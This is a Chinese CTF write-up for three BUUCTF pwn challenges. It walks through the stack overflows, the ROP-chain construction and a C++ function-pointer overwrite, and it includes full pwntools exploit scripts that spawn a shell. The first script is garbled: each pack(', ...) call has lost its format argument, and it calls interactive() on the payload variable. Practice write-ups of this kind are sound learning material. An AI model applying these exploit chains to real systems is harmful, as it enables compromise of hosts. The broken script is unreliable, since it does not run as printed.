buuctf pwn (inndy_rop)(cmcc_simplerop)([ZJCTF 2019]Login)

由于buuctf好多pwn题目都是一个类型的,所以就把不同的,学到东西的题目,记录一下

buuctf

  • inndy_rop
  • cmcc_simplerop
  • [ZJCTF 2019]Login

inndy_rop

buuctf pwn (inndy_rop)(cmcc_simplerop)([ZJCTF 2019]Login)_第1张图片
gets存在栈溢出
本来也没啥
buuctf pwn (inndy_rop)(cmcc_simplerop)([ZJCTF 2019]Login)_第2张图片
但是看到别人的用法也是第一次碰到,所以说一下
通过

ROPgadget --binary pwn14 --ropchain

这个工具,就能直接生成脚本去利用
buuctf pwn (inndy_rop)(cmcc_simplerop)([ZJCTF 2019]Login)_第3张图片
然后加上偏移
脚本如下:

from pwn import *
from struct import pack
context(os='linux',arch='i386',log_level='debug')
#p=remote("node4.buuoj.cn",29527)
r=process("./pwn14")
#libc=ELF("/lib/i386-linux-gnu/libc.so.6")
elf=ELF("./pwn14")
def bug():
	gdb.attach(p)
	pause()
p = b'a'*(0xc+4)

p += pack(', 0x0806ecda) # pop edx ; ret
p += pack(', 0x080ea060) # @ .data
p += pack(', 0x080b8016) # pop eax ; ret
p += b'/bin'
p += pack(', 0x0805466b) # mov dword ptr [edx], eax ; ret
p += pack(', 0x0806ecda) # pop edx ; ret
p += pack(', 0x080ea064) # @ .data + 4
p += pack(', 0x080b8016) # pop eax ; ret
p += b'//sh'
p += pack(', 0x0805466b) # mov dword ptr [edx], eax ; ret
p += pack(', 0x0806ecda) # pop edx ; ret
p += pack(', 0x080ea068) # @ .data + 8
p += pack(', 0x080492d3) # xor eax, eax ; ret
p += pack(', 0x0805466b) # mov dword ptr [edx], eax ; ret
p += pack(', 0x080481c9) # pop ebx ; ret
p += pack(', 0x080ea060) # @ .data
p += pack(', 0x080de769) # pop ecx ; ret
p += pack(', 0x080ea068) # @ .data + 8
p += pack(', 0x0806ecda) # pop edx ; ret
p += pack(', 0x080ea068) # @ .data + 8
p += pack(', 0x080492d3) # xor eax, eax ; ret
p += pack(', 0x0807a66f) # inc eax ; ret
p += pack(', 0x0807a66f) # inc eax ; ret
p += pack(', 0x0807a66f) # inc eax ; ret
p += pack(', 0x0807a66f) # inc eax ; ret
p += pack(', 0x0807a66f) # inc eax ; ret
p += pack(', 0x0807a66f) # inc eax ; ret
p += pack(', 0x0807a66f) # inc eax ; ret
p += pack(', 0x0807a66f) # inc eax ; ret
p += pack(', 0x0807a66f) # inc eax ; ret
p += pack(', 0x0807a66f) # inc eax ; ret
p += pack(', 0x0807a66f) # inc eax ; ret
p += pack(', 0x0806c943) # int 0x80
#bug()
r.sendline(p)
p.interactive()

这里需要注意的是
1.不能再用 p 代表进程了,因为生成的payload就是p
2.需要在头加一个头模块 from struct import pack
buuctf pwn (inndy_rop)(cmcc_simplerop)([ZJCTF 2019]Login)_第4张图片

cmcc_simplerop

这个题目本来想着挺简单的,但是做的时候,发现对32位的rop链布置,有点不熟悉了,这个题又给复习了一下
checksec一下
buuctf pwn (inndy_rop)(cmcc_simplerop)([ZJCTF 2019]Login)_第5张图片
buuctf pwn (inndy_rop)(cmcc_simplerop)([ZJCTF 2019]Login)_第6张图片
栈溢出,并且是静态编译,而且有pop_edx_ecx_ebx——ret,和pop_eax——ret
但是程序没有/bin/sh,所以思路是采用execve(“11”,/bin/sh",null,null),系统调用号为11,先调用read函数把/bin/sh读入到bss段内,再调用execve(“11”,/bin/sh",null,null),布置rop的时候,

b'a'*(0x1c+4)+p32(read_addr)+p32(pop_edx_ecx_ebx)+p32(0)+p32(bss_addr)+p32(0x8)

read函数的返回地址改为了pop_edx_ecx_ebx,把read函数调用之后的参数给弹出栈
buuctf pwn (inndy_rop)(cmcc_simplerop)([ZJCTF 2019]Login)_第7张图片
为了pop_eax为0xb,所以要弹出三次,就返回到pop_eax——ret了
脚本如下:

from pwn import *
from struct import pack
context(os='linux',arch='i386',log_level='debug')
p=remote("node4.buuoj.cn",26558)
#p=process("./pwn16")
#libc=ELF("/lib/i386-linux-gnu/libc.so.6")
elf=ELF("./pwn16")
def bug():
	gdb.attach(p)
	pause()
read_addr=0x806CD50
bss_addr=0x80Eaf80+0x50
pop_edx_ecx_ebx=0x0806e850
pop_eax=0x080bae06
int_0x80=0x080493e1
pay = b'a'*(0x1c+4)+p32(read_addr)+p32(pop_edx_ecx_ebx)+p32(0)+p32(bss_addr)+p32(0x8)
pay+=p32(pop_eax)+p32(0xb)+p32(pop_edx_ecx_ebx)+p32(0)+p32(0)+p32(bss_addr)+p32(int_0x80)
#bug()
p.sendline(pay)
pause()
pa=b'/bin/sh\x00'
p.send(pa)
p.interactive()

buuctf pwn (inndy_rop)(cmcc_simplerop)([ZJCTF 2019]Login)_第8张图片

[ZJCTF 2019]Login

c++的pwn题,做的比较少,而且做的时间也挺长的,主要是代码不好分析,记录一下
查看一下保护:
buuctf pwn (inndy_rop)(cmcc_simplerop)([ZJCTF 2019]Login)_第9张图片
canary保护有点棘手,再看一下程序
是个c++题目
buuctf pwn (inndy_rop)(cmcc_simplerop)([ZJCTF 2019]Login)_第10张图片
盲猜admin是账号,2jctf_pa5sw0rd是密码
然后输入运行一下。
buuctf pwn (inndy_rop)(cmcc_simplerop)([ZJCTF 2019]Login)_第11张图片
说明程序中某个地方出现了错误,程序才会报错。
所以再分析一下代码
buuctf pwn (inndy_rop)(cmcc_simplerop)([ZJCTF 2019]Login)_第12张图片发现此处会调用a1,这个a1大概率是我们能够控制的(要不然程序应该不会报错)
这里伪c虽然容易懂,但是汇编层面的代码更直观,更准确
这里先找到a1到底是哪个变量能修改的,所以采用倒着看的方式
buuctf pwn (inndy_rop)(cmcc_simplerop)([ZJCTF 2019]Login)_第13张图片

这里有个call rax并且rax是黄色这个变量能控制的,在上面发现这个变量是rdi传入的
在这里插入图片描述
在main函数中发现rdi是主函数中的,再进入到下面那个函数(上张图中的函数),可以追溯到rdi是rax赋值的
在这里插入图片描述rax是黄色的变量赋值的,而黄色的变量是rax赋值的buuctf pwn (inndy_rop)(cmcc_simplerop)([ZJCTF 2019]Login)_第14张图片
进入到最近的函数看看rax是否被修改
buuctf pwn (inndy_rop)(cmcc_simplerop)([ZJCTF 2019]Login)_第15张图片

rax被修改为后面变量的地址,而这个变量又是rdi传入的,再追溯
在这里插入图片描述

rdi又是这个rax赋值的
在这里插入图片描述再跟进一下上面的函数发现,rax是被放入这个函数的地址了,
在这里插入图片描述
正确输入,会报错,不正确输入则没有问题,所以问题大概率就是我们输入的内容可能修改了影响rax的函数地址了,看一下输入的函数
buuctf pwn (inndy_rop)(cmcc_simplerop)([ZJCTF 2019]Login)_第16张图片

发现这个奇怪函数,跟进发一下
buuctf pwn (inndy_rop)(cmcc_simplerop)([ZJCTF 2019]Login)_第17张图片
发现这个函数修改【s-0x50,s】里的内容,把0xa修改成0,而那个函数刚好是0x400AB4
里面有0xa所以会修改成0,程序就会报错,既然如此,调试一下
buuctf pwn (inndy_rop)(cmcc_simplerop)([ZJCTF 2019]Login)_第18张图片
根据我们的输入,算一下偏移(0x48),把0x4000b4修改成后门函数即可

from pwn import *
from struct import pack
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
#p=remote("node4.buuoj.cn",28141)
p=process("./pwn22")
#libc=ELF("/lib/i386-linux-gnu/libc.so.6")
elf=ELF("./pwn22")
def bug():
	gdb.attach(p)
	pause()
shell=0x400E88
p.recvuntil("Please enter username: ")
pay=b'admin'
#bug()
p.sendline(pay)
p.recvuntil("Please enter password: ")

pay1=(b'2jctf_pa5sw0rd').ljust(0x48,b'\x00')+p64(shell)
p.sendline(pay1)

p.interactive()

你可能感兴趣的:(网络安全)